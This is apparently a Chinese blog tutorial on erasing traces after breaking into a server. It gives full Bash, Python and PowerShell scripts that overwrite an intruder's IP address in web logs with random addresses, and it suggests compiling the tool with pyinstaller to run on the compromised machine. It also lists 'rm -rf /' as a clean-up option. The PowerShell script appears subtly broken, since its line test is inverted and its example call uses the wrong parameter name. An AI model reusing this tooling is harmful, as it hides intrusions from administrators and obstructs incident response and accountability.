Linux

想到入侵到别人服务器..那么擦屁股的事情肯定要做的..即使你挂了代理之类的.

我们用的常见的思路

  • 1.直接删除日志文件
  • 2.删除我们自己 ip 的日志内容
  • 3.rm -rf / (dangerous)

如果直接删除文件,那么管理员也会从别的地方下手.或者恢复文件之类的.

我的想法是替换自己的 ip 为随机 ip

先编写一个生成随机数的函数, 等会儿我们直接调用就行

1
2
3
4
5
6
function rand(){
    min=$1
    max=$(($2-$min+1))
    num=$(date +%s%N)
    echo $(($num%$max+$min))
}

Alt text

再使用11-253的范围 ip 地址, rand1-rand4 每次生成都是随机数, 通过 echo 返回最终 ip

1
2
3
4
5
rnd1=$(rand 11 253)
rnd2=$(rand 11 253)
rnd3=$(rand 11 253)
rnd4=$(rand 11 253)
echo $rnd1.$rnd2.$rnd3.$rnd4

Alt text

那么我们要考虑的就是如何生成多个 ip 供我们使用..我们编写一个函数 result, 每次调用就新生成 ip 即可

1
2
3
4
5
6
7
function result(){
    rnd1=$(rand 11 253)
    rnd2=$(rand 11 253)
    rnd3=$(rand 11 253)
    rnd4=$(rand 11 253)
    echo $rnd1.$rnd2.$rnd3.$rnd4
}

最终.我们的生成随机 ip 就成功了.我们把 ip 通过 sed 插入到文件中.但是 sed 是不具备每次插入不一样的值得.我们调用 for 循环多次取 result 函数的值. 然后多次替换即可.
为了判断 for 循环次数 .我们通过 grep |wc 命令来决定执行次数.

完整代码如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
#!/bin/bash
ip=$1
file='access.log'
ip=$(echo $ip|sed 's/\./\\./g')
function rand(){
    min=$1
    max=$(($2-$min+1))
    num=$(date +%s%N)
    echo $(($num%$max+$min))
}

function result(){
    rnd1=$(rand 11 253)
    rnd2=$(rand 11 253)
    rnd3=$(rand 11 253)
    rnd4=$(rand 11 253)
    echo $rnd1.$rnd2.$rnd3.$rnd4
}

for i in `seq $(cat $file|grep $ip |wc -l)`;do sed -i "1,/$ip/{s/$ip/`result`/}" $file;done

执行结果如图:

本来有10.10.10.2的 ip 入侵记录
Alt text

通过执行脚本后, 没有10.10.10.2的记录了

Alt text

当然.我还是建议使用 python 完成这项工作..当日志超过10w 或者100w 级以上的数量 . bash 的执行速度就会显得极其鸡肋.

如需在目标机上使用.建议使用 pyinstaller 完成这项工作

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import random
import sys
import os


def getip():
    ip1 = random.randrange(11, 254)
    ip2 = random.randrange(11, 254)
    ip3 = random.randrange(11, 254)
    ip4 = random.randrange(11, 254)
    return("%s.%s.%s.%s" % (ip1, ip2, ip3, ip4))


def main():
    if len(sys.argv) == 1:
        print('\nip.exe filepath ip')
        sys.exit()
    try:
        with open(sys.argv[1]) as f:
            filecode = f.read()
    except IOError as e:
        print("\nMay not have %s\n" % sys.argv[1])
        sys.exit()

    ipnum = filecode.count(sys.argv[2])
    if ipnum:
        for i in range(ipnum):
            newip = getip()
            filecode = filecode.replace(sys.argv[2], newip, 1)
        with open(sys.argv[1], 'w') as f:
            f.write(filecode)
    else:
        print('No ip can be replaced')


if __name__ == "__main__":
    main()

windows

特别注意: (暂只支持 log 或者 txt 文件)

本来想研究清除 evtx 的事件 id 对应的 ip..暂时没有发现适合编辑 evtx 的脚本代码.
所以文中结尾的 powershell 脚本就出来了

那么思路和上次 linux 一样..清除 ip 或者替换 ip 记录

编写一个函数getip, 用于获取随机 ip 地址.那么每次使用,只需要调用这个函数即可
.在 powershell 直接输出好像有点问题..所以我们暂时找到一个备用方案.用单引号引起来即可

编写另一个替换内容的函数ip, param($path,$oldip),是用于直接 ip 方法时捕获-path 和-oldip 内容, 使用 count获取文件行数.

因为 powershell 没有每次替换一行的命令. 非常难受.所以我查询了下.网上没有相关的方法.

那么我们想一下.for 循环赋值$x递增.如果$_.ReadCount等于$x, 每次只替换当前行不就行了么.当然也可以这么写if ($_.ReadCount -ge 2 -and $_.ReadCount -le 13) 判断行数在第二行到13行.那么就执行后面的语句.

最终使用$_ -replace $oldip,$nip -replace 替换旧的 ip 即可..执行效果如下
初始文件内容
Alt text

使用ip 方法进行替换
Alt text

最终效果, 不多说了.大家都懂
Alt text

完整代码如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
Function getip(){
    $num1 = Get-Random -Minimum 11 -Maximum 253
    $num2 = Get-Random -Minimum 11 -Maximum 253
    $num3 = Get-Random -Minimum 11 -Maximum 253
    $num4 = Get-Random -Minimum 11 -Maximum 253
    $newip = Write-Output $num1'.'$num2'.'$num3'.'$num4
    $newip
}

Function ip(){
    param($path,$oldip)
    $filecode = Get-Content $path
    $lines = ($filecode).Count
    $fornum = [regex]::Matches([IO.File]::ReadAllText($path, [Text.Encoding]::Default),$oldip).Count
    For ( $x=1; $x -le $lines;$x++)
    {
        $filecode | ForEach-Object {
            if ($_.ReadCount -ne $x) {
                $nip = getip
                $_ -replace $oldip,$nip
            } else {
                $_
            }
        } |
        Set-Content $path
    }
}
#ip -path C:\WWW\PHPTutorial\Apache\logs\error.log -oldid 200.999.999.99;